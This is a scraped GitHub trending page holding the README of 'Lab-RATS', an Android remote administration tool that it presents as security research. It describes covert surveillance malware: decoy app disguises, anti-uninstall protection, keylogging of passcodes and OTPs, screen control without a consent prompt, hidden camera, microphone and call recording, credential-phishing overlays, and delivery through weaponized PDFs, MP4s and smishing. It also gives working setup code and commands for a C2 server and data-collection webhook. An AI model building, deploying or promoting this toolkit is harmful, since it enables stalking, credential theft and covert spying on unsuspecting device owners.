K4N3CO/Lab-RATS-v1.6 : +2 étoiles cette semaine

Rang de K4N3CO/Lab-RATS-v1.6 dans chaque thème pour aujourd’hui, cette semaine et ce mois-ci
Thème	Aujourd’hui	Cette semaine	Ce mois-ci
Java	–	–	#42sur 144
Observabilité	–	–	#38sur 119
Sécurité	–	–	#67sur 207
Android	–	–	#142sur 347

Lightweight Android-Based Remote Administration Tool for Security: (L.A.B. - R.A.T.S)

Developed from the ground up by K4N3CO, Lab-RATS is an open-source, lightweight Android Remote Administration framework packed with powerful monitoring and interaction capabilities. The system automates the generation of custom, signed .apk files for deployment onto any Android device, providing full device telemetry via a sleek, web-based C2 dashboard. Built to adapt to strict modern mobile environments, it delivers a robust feature suite that operates reliably across both legacy and the newest Android releases.

Lab-RATS leverages the unique characteristics of publicly routable IPv6 addresses assigned by modern Wi-Fi and cellular (5G/LTE) carriers. By binding the control server directly to a device's Global Unicast Address (GUA), the tool completely bypasses Carrier-Grade NAT (CGNAT) and inbound firewall restrictions. This architecture enables seamless, Zero-Configuration peer-to-peer (P2P) remote access from any modern web browser worldwide—completely eliminating the need for router manipulation, port forwarding, or third-party tunneling services like Ngrok or Pinggy.

📸 Click to View IPv6 Exploit Vector

Note

Lab-RATS now supports IPv4 connections by hosting on Render.com (Free Tier Supported). See "Command & Control (C2)" Option 2 below for setup instructions.

🔐 Remote C2 Security & Secure Handshake:

The web dashboard is protected by a secure login wall (Default Password: admin1337). The password can be changed directly from the Terminal home page for enhanced security.
Implemented a masked credential handshake. Passwords are reversed and Base64 encoded (0x_ prefixed) on the client-side before transmission, rendering them invisible to browser Network/Payload inspectors.

📦 Automated APK Generation, Identity Control & Density Scaling:

Instantly build signed.apk for production and testing.
Fully customize App Name, Package ID, and Minimum SDK.
Resize logos automatically for all Android screen densities.

📱 PC/Mobile Responsive:

The remote web interface is fully optimized for both PC and smartphone browsers, featuring a touch-friendly layout, adaptive navigation tabs, and scalable UI elements for monitoring from any device.

💉 Payload Delivery Vectors: (Installing APK onto Target Device)

The Weaponization Engine has been overhauled to support multiple high-success delivery methods (Stealth PDF, Zero-Click MP4, Meeting Invite and Many More), ensuring reliable access across all modern mobile environments.

🛡️ Evasion Engine:

Undetectable by Samsung Knox, McAfee and Google Play Protect.
Deep Stealth HTML Shield: The C2 interface utilizes Shadow DOM Cloaking and Base64 Payload Wrapping. Browser "Elements" inspection is zeroed-out, and the tactical structure is ghosted from analysts.
Web Hardening: Assets (JS/CSS) are minified and obfuscated; featuring anti-debugging loops and interaction locks (Right-Click, F12) to prevent unauthorized analysis.
Dynamic Code Obfuscation: Build-time randomization of logic flow and class names via ProGuard/R8 integration.
Encrypted Local Telemetry: Internal system logs are encrypted at build-time, rendering them unreadable to standard mobile forensic tools.

🎭 Stealth App Decoys:

Remotely swap the entire Lab-RATS app identity and icon instantly using the "Masquerade Library" of convincing Fully Functional Clones:

👀 System Update (Default): Used for initial install it simulates a system update and prompts for permissions during the process, achieving highly successful installs.
🧮 Calculator: Performs actual math with a tactical logic engine.
🌦️ Weather App: Displays real-time localized forecasts via Open-Meteo API.
🛡️ Play Protect: Simulates a legitimate security scan to build target trust.
🐭 Lab-Rats & System Stability Services: Completely unmasked and directly opens the C2 server interface on device.

☎️ Emergency Recovery & Self Healing:

Dialer Unlock: Type *#1337# on the phone's keypad to unmask the Lab-RATS server interface back into view.
Hidden Backdoor: If the device is in stealth mode, rapidly tap the middle of the decoy screen 10 times to unlock the C2 server interface. (Reverts to stealth mode again once app is closed)
Automatically detects and repairs damaged service bindings or revoked permissions in the background.
Anti-Removal: On by default in the Ghost Tab, it prevents the user from uninstalling or force-stopping the app via Settings.

🔄 Remote Server Restart:

Web UI: One-click "RESTART_SERVER" button on the Terminal tab to refresh background services.
SMS Backdoor: Send an SMS/Text containing !RESTART_C2 to the devices number to force the server back online even if it was manually closed or killed by the OS.

👻 Task-List Ghosting & Dynamic OTA Camouflage:

The app is hard-coded to be invisible in the Android "Recent Apps" list.
Generates random version names and codes that mimic legitimate system OTA updates.

👻 Ghost_Operations:

Ghost Control/Live Feed: Cast & Control the live screen remotely with NO "Consent Prompt" required.
Blackout Mode: A high-stealth mode designed to physically mask the targets device display while maintaining a NON-masked live remote feed. (Pair with Ghost Control for maximum stealth)
Ghost_Toast: Remotely deploy tactical, persistent pop-up overlays with fully customizable text (color, size, and screen positioning). Features multiple animation styles (pop, static, and side-scroll) alongside a high-intensity "Burnt_Toast" mode that floods the screen with randomized pop-ups to overwhelm the device.
Remote System Denial Lock: Deploy a persistent, full-screen security overlay to lock physical interaction and render the device inoperable until hard-reset/restarted or unlocked remotely from the C2 dashboard.
Live Keylogging: Intercept keystrokes and system text in real-time. Now features Sensitive Info Highlighting (Passcodes, OTPs, Emails glow Red) and Deep Extraction for browser login info.

🧪 Exploit_Factory:

NFC Proximity Vector: Generate binary NDEF payloads for physical tags.
QR Visual Vector: Dedicated high-density QR code generator for independent URL delivery.
Smishing Library: Pre-configured tactical phishing templates with automated C2 link injection.
Shadow Overlay: Remotely inject functional, pixel-perfect credential-harvesting overlays to the device.

💀 Anti-Removal Shield (Optimized):

High-speed, event-driven protection that blocks attempts to Uninstall or Force Stop the app.
Suicide Protocol (Self-Destruct): Remote-triggered persistent loop that wipes all local configuration and initiates a hard uninstallation of the C2 core.

🛰️ Precision GPS Tracking & Intel Stream (Notification Sniffer):

One-click uplink to open the devices exact real-time location in Google Maps.
Intercept every notification (WhatsApp, Telegram, RCS, System...etc) in a live feed.

📸 Tactical Surveillance Hub (Ultra-Stability):

Covert Recording: Stealthily record video without any user-facing activity.
Snap Photos: Covert image capture integrated into the live stream.
Nightmode V2: Aggressive electronic brightening for low-light environments. Now features Hardware Breathe Sync and AE Bypass for zero-freeze operation on modern high-latency sensors.

🎙️ Acoustics & Interception:

Timed or Live microphone recording and automated call recording for both incoming and outgoing calls.

📂 Advanced Data Uplink:

Integrated File Manager: Navigate, download, and manage files. Features an instant Search Bar and Category Filters.
Info Gathering: Access Call Logs, Contacts, Hardware Analytics, and Installed Apps remotely.
📝 Direct File Editor: Live-edit text, JSON, and log files directly on the device.

🖥️ Enhanced Remote Shell:

The Terminal Tabs Built-in Shell has been overhauled for professional workflows:

Command History: Navigate previous commands instantly using Up/Down arrows.
Modernized Interface: Updated to root@Android prompt with an updated help menu.
Hardened I/O: Multi-stage retry logic and unique execution tracking for zero-latency command output.

📊 Telemetry & Reporting:

C2 Auto-Reporting: Discrete reporting of Date & Time, Device Make & Model, Connection Type (WiFi/Cellular), IP Address, Port, Active C2 Dashboard Link, Battery %, Stealth Status, Charging Status, and Storage Space to a centralized Google Sheet or Render C2.

🛠️ Termux Bridge Integration:

Lab-RATS now features a high-performance bridge to the Termux environment. If Termux is installed on the target device, the remote terminal can instantly elevate its capabilities:

Auto-Routing: Common commands like pkg, apt, pip, and python are routed through the bridge.
Unrestricted Tools: Install and run Python scripts, Nmap scans, or Metasploit from the C2 web terminal.
Persistent Environment: Full support for Termux's internal storage and standard Linux binaries.

Note

Termux Bridge Issues: "Termux allow-external-apps setting is disabled" (Most Common).
Solution: On the Target Device open Termux and run:

echo "allow-external-apps = true" >> ~/.termux/termux.properties
termux-reload-settings

Lab-RATS supports two primary methods for tracking your device fleet and receiving remote data.

☝🏻 Option 1: Google Sheet (Updated)

Best for basic IP tracking and logging. No server maintenance required.

Create a new Google Sheet.
Go to Extensions → Apps Script and Paste in the Hybrid Snippet below:

function doGet(e) { return handleRequest(e); }
function doPost(e) { return handleRequest(e); }

function handleRequest(e) {
  try {
    var ss = SpreadsheetApp.getActiveSpreadsheet();
    var sheet = ss.getSheetByName("LabRATS Logs") || ss.insertSheet("LabRATS Logs");
    
    // Auto-initialize headers if new sheet
    if (sheet.getLastRow() == 0) {
      sheet.appendRow([
        "Timestamp", 
        "Model #", 
        "Connection Type", 
        "IP Address", 
        "Port", 
        "Active C2 Link", 
        "Battery", 
        "Stealth Status", 
        "Power", 
        "Free Storage"
      ]);
    }
    
    var data = (e.postData && e.postData.contents) ? JSON.parse(e.postData.contents) : e.parameter;
    
    var row = [
      new Date(),
      data.device || data.model || "Unknown",
      data.network || "Unknown",
      data.ip || "Unknown",
      data.port || "9191",
      data.link || "Handshake_Pending",
      data.battery || "0%",
      (data.stealth === true || data.stealth === "true") ? "ACTIVE" : "OFF",
      data.charging || "Discharging",
      data.storage || "Unknown"
    ];
    
    sheet.appendRow(row);
    return ContentService.createTextOutput("SUCCESS").setMimeType(ContentService.MimeType.TEXT);
  } catch (err) {
    return ContentService.createTextOutput("ERROR: " + err.message).setMimeType(ContentService.MimeType.TEXT);
  }
}

Click Deploy → New Deployment → Web App → Execute as Me (E-Mail) → Who has Access: Anyone.

Important

4. Copy the Webhook URL provided and prepare to paste it into the APK-builder tool when prompted. (Get Started Section Below)

✌🏻 NEW! Option 2: Tactical Node.js Backend (Upgraded v1.6)

Best for professional fleet management and Automatic File Exfiltration.

Quick Deployment on Render.com

1. Create a new Web Service on Render and connect your Lab-RATS repository.
2. Set the Root Directory to c2-server.
3. Set the Build Command to npm install.
4. Set the Start Command to npm start.
5. Deploy! Once live, copy your Render URL (e.g., https://labrats-github.onrender.com), then Enter that URL into the APK-Builder when prompted for the C2 Webhook URL.

📸 Click to View Render C2 Screenshot

Advantages of Option 2:

🌐 Dual-Stack IP Binding: Full support for both IPv4 and IPv6 connections, enabling seamless C2 telemetry and reverse WebSocket tunneling across cellular carrier NAT64 and dual-stack Wi-Fi networks.
📂 Exfiltration Vault: Audio/Video recordings are automatically uploaded and stored on your server.
📡 Live Fleet List: A professional dashboard to manage all devices in one place, with editable device name for easy device recognition and NEW "Quick Action" pull-down menu to deploy features without directly connecting.
🔄 Dynamic Sync: Heartbeat reporting ensures your P2P links are always up-to-date.

To Build, Compile, and Deploy Lab-RATS or Host the C2 server, ensure your environment meets the following requirements:

1. Workstation & Build Requirements: (For Building APKs)

Java Development Kit (JDK): JDK 17 or JDK 21 (JDK 21 recommended).
- Ensure JAVA_HOME is set in your environment paths.
Android SDK: Android SDK 34 (API Level 34) or higher.
- Build-Tools: Version 34.0.0 or higher (includes aapt2, zipalign, and apksigner).
Python 3.x: Required for Option 7: Smali Surgery & APK Binder (binder.py).
Gradle: Handled automatically via the included ./gradlew (Gradle 8.10+).

2. C2 Server Hosting Requirements: (For Option 2: Render / Railway)

Node.js: v18.0.0 or higher.
npm: v9.0.0 or higher.
Render / Linux Hosting: 512 MB RAM minimum (Render Free Tier supported).

3. Target Android Device Compatibility:

Minimum OS: Android 5.0 (Lollipop / API 21) or higher.
Target OS: Android 14 - 16 (API 34 - 36) fully supported.
Supported Devices: Samsung, Google Pixel, OnePlus, Xiaomi, Motorola, HTC, LG, and generic Android devices/emulators.

4. Operating System Compatibility:

🐧 Linux: Kali Linux, Ubuntu, Debian, Arch (Full support for build scripts & C2 server).
🍎 macOS: macOS Monterey / Ventura / Sonoma / Sequoia (Intel & Apple Silicon M1/M2/M3/M4).
🪟 Windows: Windows 10 / 11 via PowerShell, Command Prompt, or WSL2.

1. Building the APK (on PC)

Download the Repository: git clone https://github.com/K4N3CO/Lab-RATS-v1.6.git
Navigate to: cd /Lab-RATS-v1.6/apk-builder/
Execute the Builder:
- Mac/Linux: chmod +x build.sh && ./build.sh
- Windows: build.bat
Select a Build Strategy:
- Option 1 (Manual): For basic configuration of App Name, ID, and Logo before building.
- Option 6 (Infection Chain Wizard): For the Full Build → Host → Weaponize flow.
Enter your Google Sheet Webhook URL or Render URL when prompted to enable remote device IP reporting.
Retrieve your signed.apk (and any weaponized payloads like PDFs or MP4s) from the Lab-RATS-v1.6/apk-builder/output/ directory.

2. Deploying & Installing onto Android Devices

Deployment is a multi-stage process involving Weaponization, Hosting, and Execution.

A. Strategic Weaponization: (The Wrapper)

Standard .apk files are often blocked by email filters and browser security. Use the Infection Chain Wizard (Option 6) in the apk-buildertool to wrap your link inside a high-compatibility carrier file:

📑 Stealth PDF (Highly Recommended): Send to targets via Email or Drive. It utilizes URI Actions instead of JavaScript to trigger an automatic browser-based download, bypassing standard PDF security filters.
🎬 Zero-Click MP4: Send as a video file. It exploits mobile Media Heap Overflows during gallery indexing or thumbnail generation to force-register the C2 link in the background.
🗓️ Meeting Invite (ICS): Injects a persistent event into the target's Calendar with automated reminders and a weaponized "Security Review" link.
🔳 QR Code / 📡 NFC: Best for physical placement or "Tap-to-Infect" proximity delivery. Generates a high-density QR or NDEF record pointing to the hardened delivery URL.
and Many More: The Wizard also supports ADB Strategic Bridge, Stego Image Tails, PWA Manifests, and Office Document macros.

B. Hosting Strategies:

Anonymous Cloud: Option 6 uses Catbox.moe by default. It is anonymous, fast, and generates a direct link. Now includes fallback upload to Litterbox and tmpfiles if needed.
P2P Direct: Host the APK directly from your PC using a public tunnel, or from another infected device using the /download/ endpoint.

C. Installation & Initialization:

Once the Target device downloads the APK:

Manual Sideload: If you have physical access to the device, use adb install signed.apk
Permissions (CRITICAL): Open the app ONCE. It will prompt for necessary permissions (Camera, SMS, Files, etc).
- Remote Permission Prompt: If the user skips some permissions, you can remotely trigger the system prompt again from the Ghost Tab using the REPAIR PERMISSIONS button.
Self-Vanishing: A few seconds after launch, the app will automatically replace its icon and name with the decoy you chose during build ("System Update", "Calculator"...etc).
Uplink Confirmation: Check your Google Sheet. Within 5 seconds of initialization, the Device Make & Model, Connection Type, IP Address, Port, Active C2 Dashboard Link, Battery %, Stealth Status, Charging Status and Storage Space will appear in the log.

📸 Click to View Google Sheet Reporting

If you find Lab-RATS awesome and useful for your security research, please Star ⭐ the project—it drives further development!!

Contributions:

Bug Reports, Add New Feature and Pull Requests are always welcome!. (See CONTRIBUTING.md for more info.)

Donate:

https://buymeacoffee.com/k4n3co

bc1q8d66m0qthnh6nw9hc5wl09m7pfydk46q5w8rxx

APK-Builder Example (Mac OS):

Apk-Builder_Example.mov

Lab-RATS Initial Install Sequence:

Initial_Install_Sequence.mov

C2 Dashboard (PC Interface) - Remote Shell & Decoys:

Remote_Shell.Decoys.mov

C2 Dashboard - Ghost Ops & Locate:

Ghost_Operations.Locate.mov